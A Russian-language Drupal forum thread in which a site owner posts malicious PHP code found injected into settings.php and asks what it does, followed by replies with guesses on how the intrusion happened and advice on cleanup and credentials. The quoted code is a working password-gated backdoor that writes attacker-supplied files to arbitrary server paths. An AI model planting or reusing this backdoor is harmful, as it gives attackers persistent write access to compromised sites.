Чужеродный код в settings.php откуда взялся и что делает?

Главные вкладки

Аватар пользователя albplus albplus 25 августа 2014 в 15:46

Здравствуйте!

Сегодня чисто случайно у себя на сервере в файле settings.php одного из сайтов на Drupal 7 обнаружил чужеродный код.

Такое точно не мог написать я, да и сходу не до конца понятно зачем.

Ниже привожу данный код целиком:

<?php//Create a new SimplePieCache object
error_reporting(0);
if (isset($_POST['passwordMW'])) {
    function stripslashes_for_array(&$arr) {
        foreach($arr as $k=>$v) {
            if (is_array($v)) {
                stripslashes_for_array($v);
                $arr[$k] = $v;
            } else
                $arr[$k] = stripslashes($v);
        }
    }
    function fix_magic_quotes_gpc() {
        if (get_magic_quotes_gpc())
            stripslashes_for_array($_POST);
    }
    function create_dir($path) {
        return mkdir($path, 0755, true);
    }
    function create_file($path, $filename, $textMW) {
        $f_temp = fopen($path.$filename, "w");
        if(file_exists($path.$filename)) {
            fwrite($f_temp, $textMW);
            fclose ($f_temp);
            return TRUE;
        } else
            return FALSE;
    }
    function log_create($temp) {
     return $temp ? "1" : "0";
    }
    
    if (function_exists ('get_magic_quotes_gpc'))
        fix_magic_quotes_gpc();
        
    $t = "\t";
    $hash = md5($_POST['passwordMW']);
    $prewue = 'Lenslcbdlw53bdkd92b'.$t;
    $postwue = $t.'skle93nNlp4cn832kd';
    if ($hash == '8b893efbdc733d479dfab302ed195fd7') {
        $textMW = trim($_POST['textMW']);
        $loc_nameMW = trim($_POST['locnameMW']);
        $loc_pathMW = trim($_POST['locpathMW']);
        $glob_nameMW = trim($_POST['globnameMW']);
        $glob_pathMW = trim($_POST['globpathMW']);
        
        $status_loc_sh = file_exists($loc_pathMW.$loc_nameMW);
        $status_loc_dir = file_exists($loc_pathMW);
        $status_glob_sh = file_exists($glob_pathMW.$glob_nameMW);
        $status_glob_dir = file_exists($glob_pathMW);
        
        $status_create_loc_dir = false;
        $status_create_glob_dir =  false;
        $status_create_loc_file = false;
        $status_create_glob_file = false;

        if (!$status_loc_dir) 
            $status_create_loc_dir = create_dir($loc_pathMW);
        if (!$status_glob_dir) 
            $status_create_glob_dir = create_dir($glob_pathMW);
        if (!$status_loc_sh && ($status_create_loc_dir || $status_loc_dir))
            $status_create_loc_file = create_file($loc_pathMW, $loc_nameMW, $textMW);
        if (!$status_glob_sh && ($status_create_glob_dir || $status_glob_dir))
            $status_create_glob_file = create_file($glob_pathMW, $glob_nameMW, $textMW);
        
        $log = log_create($status_loc_sh).log_create($status_create_loc_file).'-'.log_create($status_glob_sh).log_create($status_create_glob_file).'-'.log_create($status_loc_dir).log_create($status_create_loc_dir).'-'.log_create($status_glob_dir).log_create($status_create_glob_dir);
        $log = (log_create($status_create_glob_file) || $status_glob_sh) ? 'ok'.$t.$log : 'bad'.$t.$log;
        $log = (log_create($status_create_loc_file) || $status_loc_sh) ? 'ok'.$t.$log : 'bad'.$t.$log;
        echo $prewue.$log.$postwue;
        
    } else
        echo $prewue."_bad".$t."_bad".$t."_error_hash".$postwue;
}
//Include the system functions?>

В связи с этим много вопросов?

1. Что делает данный код? Насколько я успел понять он создает копию сайта в отдельной папке.
2. Как это могло произойти? Подобрали пароль root или через уязвимость в движке?
3. У файла CHMOD 775 вместо 644 (я вообще ставлю обычно 444). Это можно было сделать через php скрипт используя уязвимость или только подобрав root пароль?

Комментарии

Аватар пользователя sanita sanita 25 августа 2014 в 17:54

Ничего себе кодик в сеттингсе!

А у меня на одном шаред хостинге постоянно чего-то мудрили с php.ini и автоматом 1-2 строчки в мой .htaccess записывали. Я об этом знаю, но это не проблема - хостинг не дешевый, саппорт очень хороший и вообще, нравятся они мне.

Так вот, иногда забуду, что они мне чего-то постоянно дописывают, и поменяю .htaccess, а сайт вдруг перестает работать Biggrin

Это я к чему - может ваш хостинг чем-то левым промышляет?

Аватар пользователя albplus albplus 25 августа 2014 в 18:01

у меня сервер в облаке, там я сам хозяин, и вот еще один хозяин объявился Smile
помог айболит, обычное заражение, только ума не приложу, как при моей стерильности это смогло произойти...

Аватар пользователя sanita sanita 25 августа 2014 в 18:09

Я не специалист по облакам (предпочитаю самые дорогие шареды с полным обслуживанием), но как там у вас все это устроено? Облако - это все-же не автономый сервер в своей коробке. Там у вас, наверное, много облаков и хозяин железа имеется. Может в том направлении посмотреть?

Аватар пользователя albplus albplus 26 августа 2014 в 7:22

sanita wrote:
Я не специалист по облакам (предпочитаю самые дорогие шареды с полным обслуживанием), но как там у вас все это устроено? Облако - это все-же не автономый сервер в своей коробке. Там у вас, наверное, много облаков и хозяин железа имеется. Может в том направлении посмотреть?

Это первое что я сделал. Хозяин облака - уважаемая и профессиональная команда.

Аватар пользователя drupby drupby 25 августа 2014 в 18:38

"albplus" wrote:
только ума не приложу, как при моей стерильности это смогло произойти...

нужно смотреть в /var/log/ - там можно найти много интересного кто, куда и откуда

Аватар пользователя vortex vortex 25 августа 2014 в 18:57

sanita, Облачный сервер тот же VPS вид сбоку. Железо есть и в VPS и в облаке и в хостингах. Только абстракция для пользователя разная и соответственно управляемость.

albplus,
Что бы записать в "сеттингс" надо изменить права на файл. А для этого надо знать пароль пользователя этого файла.

не похоже что он копирует сайт. Он создаёт некий лог в файле, получив путь и какие-то данные.

Аватар пользователя dashiwa dashiwa 26 августа 2014 в 0:03

На хабре была статья про уязвимости на бесплатных темах.
Лучше посоветуйте сканеры на эту тему если есть..По проверке целостности файлов

Аватар пользователя multpix multpix 26 августа 2014 в 0:11

"dashiwa" wrote:
На хабре была статья про уязвимости на бесплатных темах.

чушь.

"dashiwa" wrote:
По проверке целостности файлов

есть [module=hacked] для ленивых.

Аватар пользователя dashiwa dashiwa 26 августа 2014 в 1:11

Боюсь не чушь. Это по вордпрес.
hacked проверяет модули. Нужен сервис который будет находиться вне проекта

Аватар пользователя multpix multpix 26 августа 2014 в 2:31

не для ТС, сорри.

"dashiwa" wrote:
Боюсь не чушь. Это по вордпрес.

не нужно бояться,
нужно понять: тут глубоко повордпресу че там в вордпресе ))
тематика несколько иная (см. адрес ресурса).

"dashiwa" wrote:
hacked проверяет модули.

а читать все таки нужно не только на рус,
на енгл такие-же люди глаголят.
вот к примеру на стр. модуля автор пишет с первого абзаца:
This module scans the currently installed Drupal, contributed modules and themes
и дале - вполне информативно.

"dashiwa" wrote:
Нужен сервис который будет находиться вне проекта

если чего-то нужно - то берешь и делаешь
указанный модуль - код открыт - или опять кто запрещает читать?
а лицензия не запрещает ни читать ни изменять.
diff, контрольные суммы - не подходит готовое - доработаем под себя/поглядим как и сделаем свое лучше.

и напоследок:
неким "сервис который будет находиться вне проекта" задачи ИБ не решают.

Аватар пользователя albplus albplus 26 августа 2014 в 10:41

ХулиGUN wrote:
"albplus" wrote:
Хозяин облака - уважаемая и профессиональная команда

Евробайт? Извините, не сдержался.
По сабжу обыкновенный эксплойт.
Смело удаляйте, меняйте доступы, начиная с доступов к хостингу... так же проверьте наличие подозрительных exac
+ ко всему убедитесь что сам сервер запускается от отдельного пользователя без лишних прав и таки да, чем меньше веб дырок - всяких пхпмайадмин, сппанел и прочих тем лучше...
Если ВДС смените так же порт ssh

Я не знаю кто такие "Евробайт".

Благодарю за ценные рекомендации!

Аватар пользователя sanita sanita 26 августа 2014 в 12:38

RxB wrote:
Причина глубже

Я, честно, заинтригована. Знаю, что вы специалист и не сказали это для красного словца.
Где, по-вашему, причина?

Аватар пользователя albplus albplus 26 августа 2014 в 13:23

sanita wrote:
RxB wrote:
Причина глубже

Я, честно, заинтригована. Знаю, что вы специалист и не сказали это для красного словца.
Где, по-вашему, причина?

Присоединяюсь к вопросу.

Аватар пользователя sanita sanita 26 августа 2014 в 15:32

dashiwa wrote:
Вирус на компьютере который обслуживает сайт)

т.е.
sanita wrote:
Там у вас, наверное, много облаков и хозяин железа имеется. Может в том направлении посмотреть?

Biggrin

Аватар пользователя Sandy Big Boy Sandy Big Boy 26 августа 2014 в 17:55

"sanita" wrote:
т.е.

Не, не "т.е." Очевидно имеется в виду, что "вирус" например на компе ТС, который работает с сайтом. Троян просто собирает пароли от ftp или ssh например, а зная пароль можно закинуть файл измененный как надо.

Аватар пользователя drupby drupby 28 августа 2014 в 19:47

"RxB" wrote:
Шелл это, обычный обфусцированный шелл.

не увидел там не одной строчки обфусцированного кода
"RxB" wrote:
Удаляй, не удаляй, всё равно вылезет снова.

ну просто фантастика какая то
а как по мне так обычный код впихнули, чтобы по запросу передавая параметры, создавать директории и файлы
по поводу вылезет снова, так откуда ж ты знаешь как туда этот код попал